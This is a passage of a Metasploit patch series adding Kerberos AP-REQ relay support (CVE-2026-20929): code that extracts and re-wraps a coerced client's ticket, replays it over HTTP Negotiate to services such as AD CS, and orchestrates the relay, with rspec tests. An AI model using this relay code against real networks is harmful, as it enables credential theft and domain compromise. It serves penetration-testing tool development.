From 02bb34720e06027e432fb6d47cc5c02828a9bc92 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 16:34:05 +0530 Subject: [PATCH 01/20] Add Kerberos AP-REQ extractor for relay (CVE-2026-20929) Foundation for native Kerberos relay support. Introduces the Msf::Exploit::Remote::Relay::Kerberos namespace mirroring the NTLM relay stack, with an ApReqExtractor mixin that pulls a captured AP-REQ out of a client's GSS-API token (SPNEGO NegTokenInit or bare GSS Kerberos) as opaque DER, ready to forward to a relay target unchanged. The AP-REQ is carried, never interpreted: the client identity lives in its encrypted ticket/authenticator which only the real target decrypts, and ApReq#decode is not implemented. RelayResult struct added for the target-reply contract. Covered by rspec (round-trip plus NTLM/malformed rejection). --- .../remote/relay/kerberos/ap_req_extractor.rb | 115 ++++++++++++++++++ .../exploit/remote/relay/kerberos/target.rb | 27 ++++ .../relay/kerberos/ap_req_extractor_spec.rb | 89 ++++++++++++++ 3 files changed, 231 insertions(+) create mode 100644 lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb create mode 100644 lib/msf/core/exploit/remote/relay/kerberos/target.rb create mode 100644 spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb diff --git a/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb b/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb new file mode 100644 index 0000000000000..a40081a21ec16 --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb @@ -0,0 +1,115 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + # Extracts a captured Kerberos AP-REQ from an incoming GSS-API security + # blob, as sent by a coerced client during a Kerberos relay + # (CVE-2026-20929, Kerberos authentication relay via DNS CNAME abuse). + # + # The AP-REQ is returned as opaque DER so it can be forwarded to a relay + # target unchanged. This is deliberate: the client's identity lives in + # the AP-REQ's encrypted ticket/authenticator, which only the real + # target service can decrypt, and + # {Rex::Proto::Kerberos::Model::ApReq#decode} is not implemented anyway. + # The relay never needs to interpret the AP-REQ, only carry it. + module ApReqExtractor + include Rex::Proto::Gss::Asn1 + + # The 2-byte token id prefixing a GSS-wrapped KRB_AP_REQ. + # https://datatracker.ietf.org/doc/html/rfc1964#section-1.1.1 + TOK_ID_KRB_AP_REQ = "\x01\x00".b.freeze + + # OIDs (compared by value) that identify a Kerberos v5 mechanism + # inside a GSS token: the standard mech and Microsoft's variant. + KERBEROS_MECH_OIDS = [ + Rex::Proto::Gss::OID_KERBEROS_5.value, + Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value + ].freeze + + # Pull the raw AP-REQ out of a client's GSS-API authentication token. + # + # @param security_blob [String] The raw GSS-API token from the + # client's authentication attempt. Either a SPNEGO NegTokenInit + # (the usual HTTP/SMB case) or a bare GSS Kerberos token. + # @return [String] The captured AP-REQ as DER bytes, ready to be + # re-wrapped via {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} + # and forwarded to a relay target. + # @raise [ArgumentError] if the blob does not carry a Kerberos AP-REQ. + def extract_ap_req(security_blob) + blob = security_blob.to_s.b + mech_id, token = safe_unwrap(blob) + + # SPNEGO wraps the real mechanism token one level deeper; unwrap it. + if mech_id.value == Rex::Proto::Gss::OID_SPNEGO.value + mech_id, token = safe_unwrap(spnego_mech_token(blob)) + end + + unless KERBEROS_MECH_OIDS.include?(mech_id.value) + raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' + end + + unless token.to_s.start_with?(TOK_ID_KRB_AP_REQ) + raise ArgumentError, 'GSS Kerberos token is not an AP-REQ' + end + + token.byteslice(TOK_ID_KRB_AP_REQ.bytesize..-1).to_s + end + + # Whether the incoming blob carries a Kerberos AP-REQ (as opposed to an + # NTLM message), letting a shared relay server dispatch on mechanism. + # + # @param security_blob [String] The raw GSS-API token. + # @return [Boolean] + def kerberos_ap_req?(security_blob) + extract_ap_req(security_blob) + true + rescue ArgumentError + false + end + + private + + # Unwrap a GSS pseudo-ASN.1 token to its leading mechanism OID and the + # bytes that follow, normalizing any decode failure into an + # ArgumentError so callers only handle one error type. Uses + # {Rex::Proto::Gss::Asn1#unwrap_pseudo_asn1}, which stops at the OID + # and so tolerates the pseudo-ASN.1 (raw token id + AP-REQ) that a + # full OpenSSL::ASN1 decode would reject. + # + # @param blob [String] + # @return [Array(OpenSSL::ASN1::ObjectId, String)] mechanism id and token + # @raise [ArgumentError] if the blob is not a GSS-API token + def safe_unwrap(blob) + mech_id, token = unwrap_pseudo_asn1(blob) + unless mech_id.respond_to?(:value) + raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' + end + + [mech_id, token] + rescue OpenSSL::ASN1::ASN1Error + raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' + end + + # The mechanism token carried inside a SPNEGO NegTokenInit. + # + # @param blob [String] a SPNEGO NegTokenInit + # @return [String] the wrapped GSS mechanism token + # @raise [ArgumentError] if the SPNEGO token cannot be parsed + def spnego_mech_token(blob) + init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(blob) + token = init.mech_token + raise ArgumentError, 'SPNEGO token carries no mechanism token' if token.nil? + + token + rescue RASN1::ASN1Error => e + raise ArgumentError, "Failed to parse SPNEGO token: #{e.message}" + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target.rb b/lib/msf/core/exploit/remote/relay/kerberos/target.rb new file mode 100644 index 0000000000000..4410b7502cc12 --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/target.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Relay + # Kerberos relay support (CVE-2026-20929). Mirrors the structure of the + # NTLM relay stack under {Msf::Exploit::Remote::Relay::NTLM}: a relay + # server captures a client's Kerberos AP-REQ and hands it to a target, + # which replays it to a real service via the existing + # {Msf::Exploit::Remote::Kerberos::ServiceAuthenticator} clients. + module Kerberos + # The outcome of replaying a captured AP-REQ to a relay target. + # + # @!attribute message + # @return [String, nil] The server's response security blob, if any. + # @!attribute success + # @return [Boolean] Whether the target accepted the relayed AP-REQ. + # @!attribute identity + # @return [String, nil] The authenticated principal, once the target + # reveals it (the AP-REQ itself carries the identity encrypted). + RelayResult = Struct.new(:message, :success, :identity, keyword_init: true) + end + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb new file mode 100644 index 0000000000000..11f0ad4b75c14 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'msf/core/exploit/remote/relay/kerberos/ap_req_extractor' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::ApReqExtractor do + subject do + Class.new do + include Msf::Exploit::Remote::Relay::Kerberos::ApReqExtractor + end.new + end + + # A distinctive stand-in for the AP-REQ. The extractor treats it as opaque, so + # any DER payload round-trips; a Sequence keeps it realistic without needing a + # full ticket/authenticator to build a real AP-REQ. + let(:ap_req_der) do + OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ-PAYLOAD')]).to_der + end + + # Bare GSS Kerberos token: [APPLICATION 0]{ OID, tok_id + AP-REQ }. + # Mirrors ServiceAuthenticator #encode_gss_kerberos_ap_request. + def gss_kerberos_token(tok_id, payload, oid: Rex::Proto::Gss::OID_KERBEROS_5) + OpenSSL::ASN1::ASN1Data.new([oid, (tok_id + payload).b], 0, :APPLICATION).to_der + end + + # SPNEGO NegTokenInit wrapping a mech token. + # Mirrors ServiceAuthenticator #encode_gss_spnego_ap_request. + def spnego_token(mech_token) + OpenSSL::ASN1::ASN1Data.new([ + Rex::Proto::Gss::OID_SPNEGO, + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([ + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5]) + ], 0, :CONTEXT_SPECIFIC), + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::OctetString.new(mech_token) + ], 2, :CONTEXT_SPECIFIC) + ]) + ], 0, :CONTEXT_SPECIFIC) + ], 0, :APPLICATION).to_der + end + + let(:ap_req_tok_id) { "\x01\x00".b } + let(:ap_rep_tok_id) { "\x02\x00".b } + + let(:bare_kerberos_blob) { gss_kerberos_token(ap_req_tok_id, ap_req_der) } + let(:spnego_kerberos_blob) { spnego_token(gss_kerberos_token(ap_req_tok_id, ap_req_der)) } + let(:ntlm_blob) { spnego_token("NTLMSSP\x00\x01".b) } + + describe '#extract_ap_req' do + it 'recovers the AP-REQ from a bare GSS Kerberos token' do + expect(subject.extract_ap_req(bare_kerberos_blob)).to eq(ap_req_der) + end + + it 'recovers the AP-REQ from a SPNEGO-wrapped token' do + expect(subject.extract_ap_req(spnego_kerberos_blob)).to eq(ap_req_der) + end + + it 'raises when the GSS mechanism is not Kerberos' do + expect { subject.extract_ap_req(ntlm_blob) } + .to raise_error(ArgumentError, /does not contain a Kerberos mechanism/) + end + + it 'raises when the Kerberos token is not an AP-REQ' do + blob = gss_kerberos_token(ap_rep_tok_id, ap_req_der) + expect { subject.extract_ap_req(blob) } + .to raise_error(ArgumentError, /not an AP-REQ/) + end + end + + describe '#kerberos_ap_req?' do + it 'is true for a bare GSS Kerberos AP-REQ' do + expect(subject.kerberos_ap_req?(bare_kerberos_blob)).to be(true) + end + + it 'is true for a SPNEGO-wrapped AP-REQ' do + expect(subject.kerberos_ap_req?(spnego_kerberos_blob)).to be(true) + end + + it 'is false for an NTLM message' do + expect(subject.kerberos_ap_req?(ntlm_blob)).to be(false) + end + + it 'is false for a non-ASN.1 blob' do + expect(subject.kerberos_ap_req?('not asn1 at all')).to be(false) + end + end +end From 87e46e020ce64845de37efe1e933dde8429e2035 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 17:20:58 +0530 Subject: [PATCH 02/20] Add GSS-SPNEGO AP-REQ forwarding for Kerberos relay Rename the AP-REQ extractor mixin to GssApReq to reflect that it now handles both directions of the relay: extract_ap_req captures a client's AP-REQ (relay server side), and the new build_spnego_ap_req re-wraps that captured AP-REQ into a fresh GSS-SPNEGO blob to send to the real service (relay target side). build_spnego_ap_req is the inverse of extract_ap_req and takes raw AP-REQ DER rather than an ApReq model object, since the relay only holds the captured bytes. Round-trip specs assert extract -> build -> extract yields the original AP-REQ unchanged. --- .../{ap_req_extractor.rb => gss_ap_req.rb} | 52 ++++++++++++++++--- ...q_extractor_spec.rb => gss_ap_req_spec.rb} | 24 +++++++-- 2 files changed, 65 insertions(+), 11 deletions(-) rename lib/msf/core/exploit/remote/relay/kerberos/{ap_req_extractor.rb => gss_ap_req.rb} (66%) rename spec/lib/msf/core/exploit/remote/relay/kerberos/{ap_req_extractor_spec.rb => gss_ap_req_spec.rb} (77%) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb similarity index 66% rename from lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb rename to lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb index a40081a21ec16..2c94d428596f7 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb @@ -5,17 +5,19 @@ class Exploit class Remote module Relay module Kerberos - # Extracts a captured Kerberos AP-REQ from an incoming GSS-API security - # blob, as sent by a coerced client during a Kerberos relay + # GSS-API wrapping and unwrapping of a Kerberos AP-REQ for relaying # (CVE-2026-20929, Kerberos authentication relay via DNS CNAME abuse). # - # The AP-REQ is returned as opaque DER so it can be forwarded to a relay - # target unchanged. This is deliberate: the client's identity lives in - # the AP-REQ's encrypted ticket/authenticator, which only the real - # target service can decrypt, and + # Two directions, both used by the relay: {#extract_ap_req} pulls a + # captured AP-REQ out of a coerced client's token (used by the relay + # server), and {#build_spnego_ap_req} re-wraps that AP-REQ into a fresh + # GSS-SPNEGO blob to send to the real service (used by the relay target). + # + # The AP-REQ is carried as opaque DER, never interpreted: the client's + # identity lives in the encrypted ticket/authenticator, which only the + # real target service can decrypt, and # {Rex::Proto::Kerberos::Model::ApReq#decode} is not implemented anyway. - # The relay never needs to interpret the AP-REQ, only carry it. - module ApReqExtractor + module GssApReq include Rex::Proto::Gss::Asn1 # The 2-byte token id prefixing a GSS-wrapped KRB_AP_REQ. @@ -70,6 +72,40 @@ def kerberos_ap_req?(security_blob) false end + # Re-wrap a captured AP-REQ into a GSS-SPNEGO blob suitable for + # sending to a relay target's HTTP/SMB service. The inverse of + # {#extract_ap_req}: a token produced here round-trips back to the + # same AP-REQ bytes. + # + # This mirrors the envelope built by + # {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} but takes + # raw AP-REQ DER rather than an ApReq model object, because the relay + # only ever holds the captured bytes (ApReq#decode is unsupported). + # + # @param ap_req_der [String] The captured AP-REQ as DER bytes, e.g. + # from {#extract_ap_req}. + # @return [String] A SPNEGO NegTokenInit carrying the AP-REQ. + def build_spnego_ap_req(ap_req_der) + mech_token = wrap_pseudo_asn1( + Rex::Proto::Gss::OID_KERBEROS_5, + TOK_ID_KRB_AP_REQ + ap_req_der.to_s.b + ) + + OpenSSL::ASN1::ASN1Data.new([ + Rex::Proto::Gss::OID_SPNEGO, + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([ + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5]) + ], 0, :CONTEXT_SPECIFIC), + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::OctetString.new(mech_token) + ], 2, :CONTEXT_SPECIFIC) + ]) + ], 0, :CONTEXT_SPECIFIC) + ], 0, :APPLICATION).to_der + end + private # Unwrap a GSS pseudo-ASN.1 token to its leading mechanism OID and the diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb similarity index 77% rename from spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb rename to spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb index 11f0ad4b75c14..5cbf0b4e73cbc 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/ap_req_extractor_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb @@ -1,12 +1,12 @@ # -*- coding: binary -*- require 'spec_helper' -require 'msf/core/exploit/remote/relay/kerberos/ap_req_extractor' +require 'msf/core/exploit/remote/relay/kerberos/gss_ap_req' -RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::ApReqExtractor do +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::GssApReq do subject do Class.new do - include Msf::Exploit::Remote::Relay::Kerberos::ApReqExtractor + include Msf::Exploit::Remote::Relay::Kerberos::GssApReq end.new end @@ -86,4 +86,22 @@ def spnego_token(mech_token) expect(subject.kerberos_ap_req?('not asn1 at all')).to be(false) end end + + describe '#build_spnego_ap_req' do + it 'produces a SPNEGO blob that #extract_ap_req reads back to the same AP-REQ' do + blob = subject.build_spnego_ap_req(ap_req_der) + expect(subject.extract_ap_req(blob)).to eq(ap_req_der) + end + + it 'produces a blob recognized as a Kerberos AP-REQ' do + blob = subject.build_spnego_ap_req(ap_req_der) + expect(subject.kerberos_ap_req?(blob)).to be(true) + end + + it 'round-trips an AP-REQ captured from a client token unchanged' do + captured = subject.extract_ap_req(spnego_kerberos_blob) + rebuilt = subject.build_spnego_ap_req(captured) + expect(subject.extract_ap_req(rebuilt)).to eq(captured) + end + end end From 41d852470ff0b199ba47d7e5065ecb48ab8dc5af Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 17:46:13 +0530 Subject: [PATCH 03/20] Add HTTP relay target client for Kerberos relay Adds Relay::Kerberos::Target::HTTP::Client, which replays a captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment for ESC8) over a SPNEGO Negotiate exchange. Unlike NTLM there is no challenge/response round-trip: the AP-REQ is a complete credential sent in a single request, and on success the connection is left open for the calling module to issue authenticated follow-up requests. Moves RelayResult under the Target namespace to satisfy Zeitwerk (a target.rb file must define Target); mirrors the NTLM target layout. Verified by rspec (network mocked: Negotiate header contents and success/failure status mapping) and the zeitwerk_compliance spec. --- .../exploit/remote/relay/kerberos/target.rb | 40 +++---- .../relay/kerberos/target/http/client.rb | 108 ++++++++++++++++++ .../relay/kerberos/target/http/client_spec.rb | 65 +++++++++++ 3 files changed, 189 insertions(+), 24 deletions(-) create mode 100644 lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb create mode 100644 spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target.rb b/lib/msf/core/exploit/remote/relay/kerberos/target.rb index 4410b7502cc12..6970354c46436 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target.rb @@ -1,27 +1,19 @@ # -*- coding: binary -*- -module Msf - class Exploit - class Remote - module Relay - # Kerberos relay support (CVE-2026-20929). Mirrors the structure of the - # NTLM relay stack under {Msf::Exploit::Remote::Relay::NTLM}: a relay - # server captures a client's Kerberos AP-REQ and hands it to a target, - # which replays it to a real service via the existing - # {Msf::Exploit::Remote::Kerberos::ServiceAuthenticator} clients. - module Kerberos - # The outcome of replaying a captured AP-REQ to a relay target. - # - # @!attribute message - # @return [String, nil] The server's response security blob, if any. - # @!attribute success - # @return [Boolean] Whether the target accepted the relayed AP-REQ. - # @!attribute identity - # @return [String, nil] The authenticated principal, once the target - # reveals it (the AP-REQ itself carries the identity encrypted). - RelayResult = Struct.new(:message, :success, :identity, keyword_init: true) - end - end - end - end +# Kerberos relay targets (CVE-2026-20929). Mirrors the structure of the NTLM +# relay stack under {Msf::Exploit::Remote::Relay::NTLM::Target}: a relay server +# captures a client's Kerberos AP-REQ and hands it to a target here, which +# replays it to a real service via a per-protocol client. +module Msf::Exploit::Remote::Relay::Kerberos::Target + # The outcome of replaying a captured AP-REQ to a relay target. + # + # @!attribute message + # @return [Object, nil] The target's response (e.g. the HTTP response), if any. + # @!attribute success + # @return [Boolean] Whether the target accepted the relayed AP-REQ. + # @!attribute identity + # @return [String, nil] The authenticated principal, once known (the AP-REQ + # itself carries the identity encrypted, so this is filled in by the target + # flow rather than read from the AP-REQ). + RelayResult = Struct.new(:message, :success, :identity, keyword_init: true) end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb new file mode 100644 index 0000000000000..56ab3ebcce379 --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- + +require 'base64' + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + module Target + module HTTP + # HTTP relay target for Kerberos (CVE-2026-20929). Replays a + # captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment + # for ESC8) over a SPNEGO Negotiate exchange. + # + # Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained + # credential: there is no challenge/response round-trip, so the + # relay is a single request. On success the connection is left open + # for the calling module to issue authenticated follow-up requests + # (mirroring how the NTLM ESC8 target reuses the relayed connection). + class Client + include Msf::Exploit::Remote::Relay::Kerberos::GssApReq + + # @return [Object] the relay target descriptor (ip/port/path/protocol) + attr_reader :target + + # @param client [Rex::Proto::Http::Client] the connected HTTP client + # @param target [Object] the relay target descriptor + # @param logger [Object, nil] receives print_* logging calls + # @param timeout [Integer] send/recv timeout (-1 for the default) + def initialize(client:, target:, logger: nil, timeout: -1) + @client = client + @target = target + @logger = logger + @timeout = timeout + end + + # Build a target client bound to the relay server connection's TLS + # context, matching the NTLM target factory signature. + def self.create(provider, target, logger, timeout) + http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger) + client = Rex::Proto::Http::Client.new( + target.ip, + target.port, + provider.dispatcher.tcp_socket.context, + target.protocol == :https, + subscriber: http_logger_subscriber + ) + + new(client: client, target: target, logger: logger, timeout: timeout) + end + + # Replay a captured AP-REQ to the target's HTTP service. + # + # @param ap_req_der [String] the captured AP-REQ as DER bytes + # @return [Msf::Exploit::Remote::Relay::Kerberos::RelayResult, nil] + # the relay outcome, or nil if no HTTP response was received. + def relay_ap_req(ap_req_der) + security_blob = build_spnego_ap_req(ap_req_der) + + req = @client.request_raw( + 'method' => 'GET', + 'uri' => @target.path, + 'headers' => { + 'Accept-Encoding' => 'identity', + 'Authorization' => "Negotiate #{Base64.strict_encode64(security_blob)}" + } + ) + res = @client.send_recv(req, @timeout, true) + + if res.nil? + log_error("No HTTP response received from #{@target}") + return nil + end + + Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new( + message: res, + success: successful_status?(res.code) + ) + end + + def disconnect! + @client.close + end + + protected + + attr_reader :logger + + # Whether an HTTP status code indicates the relayed AP-REQ was + # accepted. Configurable per target, defaulting to any 2xx. + def successful_status?(code) + expected = @target.respond_to?(:protocol_options) ? @target.protocol_options.fetch(:http_status_code, 200..299) : (200..299) + expected.is_a?(Range) ? expected.include?(code) : expected == code + end + + def log_error(msg) + elog(msg) + @logger&.print_error(msg) + end + end + end + end + end + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb new file mode 100644 index 0000000000000..2f0fb6e964c48 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::Target::HTTP::Client do + let(:http_client) { instance_double(Rex::Proto::Http::Client) } + let(:target) { double('target', path: '/certsrv/certfnsh.asp') } + let(:logger) { double('logger', print_error: nil) } + let(:req) { double('request') } + + subject { described_class.new(client: http_client, target: target, logger: logger) } + + let(:ap_req_der) do + OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der + end + + # What the Negotiate header should carry: the AP-REQ re-wrapped as GSS-SPNEGO. + let(:expected_blob) do + gss = Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new + Base64.strict_encode64(gss.build_spnego_ap_req(ap_req_der)) + end + + def http_response(code) + double('response', code: code) + end + + describe '#relay_ap_req' do + it 'sends the AP-REQ as a SPNEGO Negotiate header to the target path' do + expect(http_client).to receive(:request_raw).with( + hash_including( + 'method' => 'GET', + 'uri' => '/certsrv/certfnsh.asp', + 'headers' => hash_including('Authorization' => "Negotiate #{expected_blob}") + ) + ).and_return(req) + allow(http_client).to receive(:send_recv).with(req, -1, true).and_return(http_response(200)) + + subject.relay_ap_req(ap_req_der) + end + + it 'reports success on a 2xx response' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(http_response(200)) + + result = subject.relay_ap_req(ap_req_der) + expect(result.success).to be(true) + expect(result.message.code).to eq(200) + end + + it 'reports failure on a 401 response' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(http_response(401)) + + expect(subject.relay_ap_req(ap_req_der).success).to be(false) + end + + it 'returns nil and logs when no HTTP response is received' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(nil) + + expect(logger).to receive(:print_error) + expect(subject.relay_ap_req(ap_req_der)).to be_nil + end + end +end From be7a67c39bed9cced5e446c28c8bf27a0bf55ac5 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 18:06:44 +0530 Subject: [PATCH 04/20] Add Kerberos relay orchestration handler Adds Relay::Kerberos::RelayHandler, the Kerberos counterpart to the NTLM server client's relay_ntlmssp. Given an incoming client GSS token it dispatches on mechanism (Kerberos vs NTLM), extracts the AP-REQ, relays it to the target client, and fires the module's on_relay_success / on_relay_failure and on_relay_end callbacks. The flow is one-shot: a captured AP-REQ is a complete credential, so there is no challenge/response and no per-identity target selection. The AP-REQ is cryptographically bound to the SPN the attacker coerced, so it can only be relayed to the matching service. Non-Kerberos tokens return nil so a shared relay server falls through to its NTLM path. Protocol-agnostic (the RubySMB/HTTP server plumbing lives in the including class); verified by rspec with the target and callbacks mocked. --- .../remote/relay/kerberos/relay_handler.rb | 63 ++++++++++++++++ .../relay/kerberos/relay_handler_spec.rb | 72 +++++++++++++++++++ 2 files changed, 135 insertions(+) create mode 100644 lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb create mode 100644 spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb diff --git a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb new file mode 100644 index 0000000000000..62b3e0888b39d --- /dev/null +++ b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Relay + module Kerberos + # Orchestrates relaying a captured client GSS token to a target for a + # Kerberos relay (CVE-2026-20929). Protocol-agnostic: an SMB or HTTP + # relay server client includes this and supplies the incoming security + # blob; the RubySMB/HTTP plumbing lives in the including class. + # + # This is the Kerberos counterpart to the NTLM server client's + # relay_ntlmssp, but the flow is one-shot. A captured AP-REQ is a + # complete credential, so there is no challenge/response and no + # per-identity target selection: the AP-REQ is cryptographically bound + # to the SPN the attacker coerced the victim to request, so it can only + # be relayed to the service matching that SPN. + # + # The including class must provide a +logger+ responding to + # print_status / print_good / print_warning. + module RelayHandler + include Msf::Exploit::Remote::Relay::Kerberos::GssApReq + + # Relay a captured client GSS token to a target when it carries a + # Kerberos AP-REQ. Returns nil without touching the target when the + # token is not Kerberos, so a shared relay server can fall through to + # its NTLM path. + # + # @param security_blob [String] the incoming client GSS-API token + # @param client [Target::HTTP::Client] the connected relay target client + # @param target [Object] the relay target descriptor (for logging) + # @param relay_targets [Object, nil] notified via on_relay_end, if given + # @param listener [Object, nil] notified via on_relay_success / on_relay_failure + # @param identity [String, nil] the client principal, if already known + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + def relay_kerberos(security_blob, client:, target:, relay_targets: nil, listener: nil, identity: nil) + return nil unless kerberos_ap_req?(security_blob) + + ap_req = extract_ap_req(security_blob) + logger.print_status("Relaying Kerberos AP-REQ to #{target}") + + result = client.relay_ap_req(ap_req) + is_success = !result.nil? && result.success == true + relay_targets&.on_relay_end(target, identity: identity, is_success: is_success) + + if is_success + logger.print_good("Successfully relayed Kerberos AP-REQ to #{target}") + listener&.on_relay_success(relay_connection: client, relay_identity: identity) + else + logger.print_warning("Relay of Kerberos AP-REQ to #{target} failed") + listener&.on_relay_failure(relay_connection: client) + client.disconnect! + end + + result + end + end + end + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb new file mode 100644 index 0000000000000..2c5ad7b580639 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::RelayHandler do + let(:logger) { double('logger', print_status: nil, print_good: nil, print_warning: nil) } + + subject do + log = logger + Class.new do + include Msf::Exploit::Remote::Relay::Kerberos::RelayHandler + define_method(:logger) { log } + end.new + end + + # A helper that can build/extract the same GSS AP-REQ blobs the handler sees. + let(:gss) { Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new } + let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } + let(:kerberos_blob) { gss.build_spnego_ap_req(ap_req_der) } + let(:ntlm_blob) { "NTLMSSP\x00\x01\x00\x00\x00".b } + + let(:client) { double('target client', relay_ap_req: nil, disconnect!: nil) } + let(:target) { double('target', to_s: 'http://ca/certsrv') } + let(:relay_targets) { double('relay_targets', on_relay_end: nil) } + let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } + + def result(success) + Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new(success: success) + end + + describe '#relay_kerberos' do + it 'ignores a non-Kerberos (NTLM) token without touching the target' do + expect(client).not_to receive(:relay_ap_req) + expect(subject.relay_kerberos(ntlm_blob, client: client, target: target)).to be_nil + end + + it 'forwards the extracted AP-REQ to the target client' do + allow(client).to receive(:relay_ap_req).with(ap_req_der).and_return(result(true)) + subject.relay_kerberos(kerberos_blob, client: client, target: target) + expect(client).to have_received(:relay_ap_req).with(ap_req_der) + end + + it 'notifies success and marks the relay end on a successful relay' do + allow(client).to receive(:relay_ap_req).and_return(result(true)) + + subject.relay_kerberos( + kerberos_blob, client: client, target: target, + relay_targets: relay_targets, listener: listener, identity: 'WIN$' + ) + + expect(listener).to have_received(:on_relay_success).with(relay_connection: client, 